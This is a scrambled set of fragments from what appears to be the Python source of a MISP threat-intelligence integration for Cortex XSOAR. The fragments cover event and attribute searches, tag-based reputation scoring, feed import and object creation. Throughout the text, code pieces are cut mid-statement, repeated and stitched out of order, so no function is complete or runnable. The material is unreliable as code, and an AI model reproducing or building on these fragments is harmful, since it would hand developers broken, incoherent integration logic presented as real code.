sha1=value)","Level ID'] in bad_threat_level_ids: return True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids,","if found_tag is one of it's tags. If so, the event will be","sets which include tag ids. If there is an id that exists in","please note: attributes are excluded from search-events output as the information is too","demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if","ID to add attribute to internal (bool): if set to True, will not","a positive number\") if limit and limit < 0: raise DemistoException(\"limit should be","event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for event_object in event['Object'] ]","prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events = {} if not attributes_list: return","star.get('description') } for star in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object'] =","tableToMarkdown(f\"MISP search-attributes returned {number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights","else 'Event from XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event","7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \"\"\" misp_object = GenericObjectGenerator(template_name)","will be stayed only in the malicious one (as a tag that was","domain, url or file hash). dbot_type (str): Indicator type (file, url, domain, email","https://www.misp-project.org/feeds/ feed format must be MISP. \"\"\" headers = {'Accept': 'application/json'} url =","be removed from the suspicious tag ids set and will be stayed only","the API key is correct.') return_error(error) def warn(*args): \"\"\" Do nothing with warnings","found_related_events (dict): contains info (name, id, threat level id) about all the events","1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0,","is str), and verify all the tags are valid positive integers.\"\"\" for tag","MISP. \"\"\" headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit","warnings \"\"\" pass # Disable requests warnings urllib3.disable_warnings() # Disable python warnings warnings.warn",") else: return CommandResults(readable_output=f\"No events found in MISP for the given filters: {args}\")","Name fields. In addition, returns set of the found tag ids. Some tags","'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input':","if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes):","'type': star.get('type'), 'description': star.get('description') } for star in given_object['Galaxy'] ] def build_object_output(event): if","= match_operator.group(2).split(',') is_complex_search = True return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format","be a positive integer, please change the given: '{tag}' id.\") def create_updated_attribute_instance(demisto_args: dict,","add_event_response.get('Event') if event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids):","ID': found_tag_id, 'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As tag","if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true' else 0","return add_object(event_id, obj) def add_url_object(demisto_args: dict): \"\"\"Building url object in MISP scheme Scheme","a valid MISP feed. error: {e}') def add_object(event_id: str, obj: MISPObject): \"\"\"Sending object","= event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event):","outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type,","\"\"\" Examples are available in UT: test_build_misp_complex_filter. For more information please see build_complex_query","found_tag) which caused the indicator to be scored as malicious or suspicious. Args:","{}).get('password')): raise DemistoException('Missing API Key. Fill in a valid key in the integration","if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true' else 0","Level ID\": event.get('threat_level_id'), \"Event ID\": event.get(\"id\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True)","'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args,","{ 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'),","error: return_error('Unable to connect to MISP, ' 'Please make sure the API key","\"FILE\": hash_type = get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type","reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': # hashFormat","malicious is stronger than recognised as suspicious). \"\"\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids)","suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': #","suspicious_tag_ids if tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets a","import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools","Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As","' 'Please make sure the API key is correct.') return_error(error) def warn(*args): \"\"\"","attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'),","return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \"\"\" Convert the response","formatted_response.update({\"ID\": event_id}) human_readable = f'Object has been added to MISP event ID {event_id}'","added to MISP event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, )","'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp':","not a valid JSON\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)}","item in obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA","XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict):","part of another command (create event for example) Args: event_id (int): Event ID","= re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params,","not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error: The given domain: {value} is not valid\") if","\"\"\"Sending object to MISP and returning outputs Args: obj: object to add to","'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id':","in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \"\",","as described in https://github.com/MISP/misp-objects args: arguments to create the generic object Returns: GenericObjectGenerator:","check it once again\") new_event = response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args)","'IP': if not is_ip_valid(value): raise DemistoException(f\"Error: The given IP address: {value} is not","outputs=parsed_attribute_data, ) def main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids'))","attribute's tag. If the data is event's (is_event_level = true) we would like","'2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id':","handle_connection_errors(error): if \"SSLError\" in error: return_error('Unable to connect to MISP because of a","attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \"\"\"returns list of attributes' values","must be MISP. \"\"\" headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url =","'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory',","first_seen if last_seen: attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults:","raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No","if \"SSLError\" in error: return_error('Unable to connect to MISP because of a SSLCertVerificationError,","else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true'","Args: template_name: template name as described in https://github.com/MISP/misp-objects args: arguments to create the","Disable requests warnings urllib3.disable_warnings() # Disable python warnings warnings.warn = warn ''' GLOBALS/PARAMS","= [] for event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects","PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully removed from the event {uuid}'","'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published',","tags_list: is_event_tag = tag.get('inherited', 0) # field doesn't exist when this is an","= get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1':","add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj =","outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No attributes found in MISP for the given","{}) attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')] if attribute.get( 'Tag') else None","'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids':","raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref)","scope). If the data is attribute's (is_event_level = false), and the tag is","[tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies:","limit): if page and page < 0: raise DemistoException(\"page should be zero or","= f\"## MISP add attribute\\nNew attribute: {value} was added to event id {new_event.id}.\\n\"","'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version':","args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in","the URL are correct\" in error: return_error('Unable to connect to MISP, ' 'Please","object_data_dict.get('Tag', []) for tag in object_tags_list: if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict)","def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \"FILE\": hash_type = get_hash_type(value) if hash_type","to tag_set_ids. In any other case, we won't add the tag. Args: attribute_dict","def add_attribute(event_id: int = None, internal: bool = False, demisto_args: dict = {},","return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids,","return CommandResults(readable_output=f\"No events found in MISP for the given filters: {args}\") def delete_event(demisto_args:","None url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username","[]): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable","event (False). \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) #","else None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException( f'None","= get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score,","[] if found_tag: for attribute in all_attributes: event = attribute.get('Event', {}) event_name =","given UUID is an attribute's one. Otherwise it's event's. \"\"\" uuid = demisto_args.get('uuid')","attributes_limit < 0: raise DemistoException('Attribute limit has to be a positive number.') response","for index, uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event","demisto_args.get('value') } event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id}) if","positive integers.\"\"\" for tag in tag_ids: try: tag = int(tag) if tag <=","Filter object from keys in event_args events[i] = {key: events[i].get(key) for key in","provide a valid value for the Source Reliability parameter\") attributes_limit = arg_to_number(params.get('attributes_limit', 20),","= argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict): \"\"\"Creating event in MISP with","to internal (bool): if set to True, will not post results to Demisto","response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\"MISP search-attributes returned {number_of_results} attributes\",","dictionary created for misp to perform complex query or if no complex query","GenericObjectGenerator: \"\"\" Args: template_name: template name as described in https://github.com/MISP/misp-objects args: arguments to","readable_output=f\"No attributes found in MISP for value: {value}\") def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This","CommandResults(readable_output=f\"No events found in MISP for the given filters: {args}\") def delete_event(demisto_args: dict):","'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed',","= tableToMarkdown( f\"MISP search-events returned {len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response,","given filters: {args}\") def delete_event(demisto_args: dict): \"\"\" Gets an event id and deletes","build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \"\"\"returns list of attributes' values that match the","= [tag.get('Name') for tag in attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings =","= get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights =","the attributes which match the required indicator value, this function parses the response.","search returned from MISP to the context output format. please note: attributes are","keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids']","attributes that will be written to the context Returns: CommandResults includes all the","MISP urls with feeds for example: https://www.misp-project.org/feeds/ feed format must be MISP. \"\"\"","For more information please see build_complex_query in pymisp/api.py Args: demisto_query: complex query contains","events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot","enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found:","object to replace keys in Returns: Union[dict, list, str]: same object type that","non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id,","suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability","outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\"MISP search-attributes returned {number_of_results}","{tag} has been successfully added to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID',","human_readable = f'Tag {tag} has been successfully removed from the event {uuid}' return","command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command ==","value): if dbot_type == \"FILE\": hash_type = get_hash_type(value) if hash_type == 'md5': return","None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return is_complex_search def prepare_args_to_search(controller): demisto_args =","Whether the attribute_dict was received from an event object, meaning the tags are","verify all the tags are valid positive integers.\"\"\" for tag in tag_ids: try:","'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist',","proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT","response.get('Attribute') if not attributes_list: return None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit]","'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS',","'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip':","response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully removed from","demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute()","1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2,","if match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return is_complex_search","if the given UUID belongs to an attribute (True) or event (False). \"\"\"","is_event_level): \"\"\" As tag list can be full of in unnecessary data, we","event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute","ones as it is part of the event scope). If the data is","found (after limit the attributes amount to the given limit) and by sub-functions","tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID')","{value} is not valid\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \"\"\" This","attribute or event, depends on the called function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy'] = [","convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object is attribute or","== 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args))","found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids,","else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id}) if event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution':","belongs to an attribute (True) or event (False). \"\"\" uuid = demisto_args.get('uuid') tag","the tags are valid positive integers.\"\"\" for tag in tag_ids: try: tag =","# type: List[Dict[str, int]] for index, uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json',","def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\" By the given object we go over all","'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args):","create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category","demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in","dbot_score=dbot_score) if dbot_type == \"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \"EMAIL\": return","reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = []","by their event's threat level id. In such case, the score will be","'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting':","event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates =","[]) if event_objects: return [event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights","tag ids (each one is str), and verify all the tags are valid","< 0: raise DemistoException('Attribute limit has to be a positive number.') response =","if demisto_args.get('to_ids') == 'true' else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from')","(dict): The dictionary that includes the tag list. is_event_level (bool): Whether the attribute_dict","'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \"\"\" return [{k: v} for k, v","event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({","attribute to a given MISP event object This function can be called as","{'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \"\"\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object","event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags,","for value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response,","misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params)","'initial': 0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only':","DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3 error: Please provide a valid value for the Source","given IP address: {value} is not valid\") if dbot_type == 'DOMAIN': if not","'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag',","# return full related attributes only if the user wants to get them","\"\"\" text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip')","MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID',","the indicator results. \"\"\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True,","demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator","'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break human_readable = tableToMarkdown(f'Total","(is_event_level = false), and the tag is only related to an attribute we","(dict): contains info (name, id, threat level id) about all the events that","event, depends on the called function\"\"\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'),","if event_tags: return [tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy',","events should be found. Returns: list includes all the events that were detected","} MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event':","MISPObject): \"\"\"Sending object to MISP and returning outputs Args: obj: object to add","example for a response in test_data/reputation_command_response.json Please see an example for a parsed","attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True)","new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException( f\"Error: An event","zero or a positive number\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute","event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \"\"\"Execute","found_tag, event_name): \"\"\" By the given object we go over all the tags","except PyMISPError: raise DemistoException(\"Adding the required tag was failed. Please make sure the","tag.get('is_galaxy') } for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] =","excluded from search-events output as the information is too big. User can use","containing dicts that GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip':","ID: {event_id} has not found in MISP: \\nError message: {response}') else: human_readable =","valid value for the Source Reliability parameter\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True)","= [] tag_set_ids = set() tags_list = attribute_dict.get('Tag', []) for tag in tags_list:","dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id, obj) except ValueError as e: raise","all the indicator results. \"\"\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True,","dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \"\"\" Examples are available in UT: test_build_misp_complex_filter. For more","any other case, we won't add the tag. Args: attribute_dict (dict): The dictionary","PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found =","build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object is attribute","'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published':","object to MISP and returning outputs Args: obj: object to add to MISP","'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute","page < 0: raise DemistoException(\"page should be zero or a positive number\") if","has to be a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return","given url: {value} is not valid\") if dbot_type == 'EMAIL': if not re.compile(emailRegex,","that may exist\" else: pagination_message += f\"Showing page {page}\" md = tableToMarkdown( f\"MISP","limit = arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response:","'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1, 'completed': 2","attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP for value:","- Attributes tags (both malicious and suspicious) are stronger than events' tags. \"\"\"","readable response, for more information and examples please see UT: test_extract_error. Args: error:","positive integer, please change the given: '{tag}' id.\") except ValueError: raise DemistoException(f\"Tag id","pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results","{'id': '2e445ef5389d8b'}] # guardrails-disable-line \"\"\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp:","(as appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object to replace keys","generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args,","removed from the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response )","if value: attribute_instance.value = value if comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen","md = tableToMarkdown( f\"MISP search-events returned {len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True) return CommandResults(","was failed. Please make sure the UUID and tag exist.\") if is_attribute: response","def remove_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will remove tag to given UUID of","to MISP, ' 'Please make sure the API key is correct.') return_error(error) def","demisto.params() if not params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API","tag that was configured to be malicious is stronger than recognised as suspicious).","this is an attribute level, default is '0' tag_id = tag.get('id') if is_event_level:","removed from the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response )","'id': event_object.get('id') } for 